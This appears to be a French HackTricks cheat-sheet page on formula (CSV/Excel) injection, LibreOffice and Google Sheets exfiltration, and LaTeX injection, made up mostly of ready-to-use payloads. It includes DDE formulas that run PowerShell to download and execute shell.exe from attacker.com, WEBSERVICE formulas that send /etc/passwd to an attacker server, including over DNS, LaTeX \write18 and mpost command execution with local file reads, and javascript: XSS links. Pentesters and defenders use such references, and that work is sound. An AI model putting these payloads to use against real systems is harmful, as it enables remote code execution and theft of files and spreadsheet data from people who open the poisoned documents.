# Injection de Formule/CSV/Doc/LaTeX/GhostScript {{#include ../banners/hacktricks-training.md}} ## Injection de Formule ### Info Si votre **input** est **réfléchi** à l'intérieur des **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être en mesure d'insérer des **formules** Excel qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel. > [!CAUTION] > De nos jours, **Excel alertera** (plusieurs fois) l'**utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel** afin de l'empêcher d'agir de manière malveillante. Par conséquent, un effort spécial en ingénierie sociale doit être appliqué au payload final. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les invites d'avertissement).** L'exemple suivant a été tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Imaginez qu'une violation de sécurité dans un système de gestion des dossiers étudiants soit exploitée par une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode consiste à injecter une charge utile malveillante dans l'application, en entrant spécifiquement des formules nuisibles dans des champs destinés aux détails des étudiants. L'attaque se déroule comme suit : 1. **Injection de la Charge Utile Malveillante :** - L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les tableurs (par exemple, `=HYPERLINK("","Click here")`). - Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant. 2. **Exportation des Données Compromises :** - Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV. - Le fichier CSV, une fois ouvert, contient toujours la charge utile malveillante. Cette charge utile apparaît comme un hyperlien cliquable dans le tableur. 3. **Déclenchement de l'Attaque :** - Un enseignant clique sur l'hyperlien, croyant qu'il fait partie des détails légitimes de l'étudiant. - En cliquant, des données sensibles (potentiellement y compris des détails du tableur ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant. 4. **Enregistrement des Données :** - Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant. - L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la vie privée et la sécurité des étudiants et de l'institution. ### RCE **Vérifiez le** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **pour plus de détails.** Dans certaines configurations ou versions plus anciennes d'Excel, une fonctionnalité appelée Dynamic Data Exchange (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour en tirer parti, les paramètres suivants doivent être activés : - Allez dans Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe, et activez **Lancement du serveur Dynamic Data Exchange**. Lorsqu'un tableur avec la charge utile malveillante est ouvert (et si l'utilisateur accepte les avertissements), la charge utile est exécutée. Par exemple, pour lancer l'application calculatrice, la charge utile serait : ```markdown =cmd|' /C calc'!xxx ``` Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier à l'aide de PowerShell : ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Inclusion de Fichiers Locaux (LFI) dans LibreOffice Calc LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes : - Lire la première ligne du fichier local `/etc/passwd` : `='file:///etc/passwd'#$passwd.A1` - Exfiltrer les données lues vers un serveur contrôlé par l'attaquant : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` - Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` - Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par l'attaquant) : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets pour l'Exfiltration de Données Hors-Bande (OOB) Google Sheets offre des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB : - **CONCATENATE** : Ajoute des chaînes ensemble - `=CONCATENATE(A2:E2)` - **IMPORTXML** : Importe des données à partir de types de données structurées - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED** : Importe des flux RSS ou ATOM - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML** : Importe des données à partir de tables ou de listes HTML - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` - **IMPORTRANGE** : Importe une plage de cellules d'une autre feuille de calcul - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE** : Insère une image dans une cellule - `=IMAGE("https:///images/srpr/logo3w.png")` ## Injection LaTeX En général, les serveurs que l'on trouve sur Internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\ Ce programme utilise 3 attributs principaux pour (interdire) permettre l'exécution de commandes : - **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf. - **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble 'sûr' de **commandes prédéfinies** (**Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité. Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter RCE, il est très important d'utiliser `--shell-restricted`. ### Lire le fichier Vous pourriez avoir besoin d'ajuster l'injection avec des wrappers comme \[ ou $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Lire un fichier à une seule ligne ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Lire un fichier à plusieurs lignes ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Écrire un fichier ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Exécution de commandes L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Si vous obtenez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Injection Ghostscript **Vérifiez** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## Références - [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) - [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) - [https://salmonsec.com/cheatsheet/latex_injection](https://salmonsec.com/cheatsheet/latex_injection) - [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) {{#include ../banners/hacktricks-training.md}}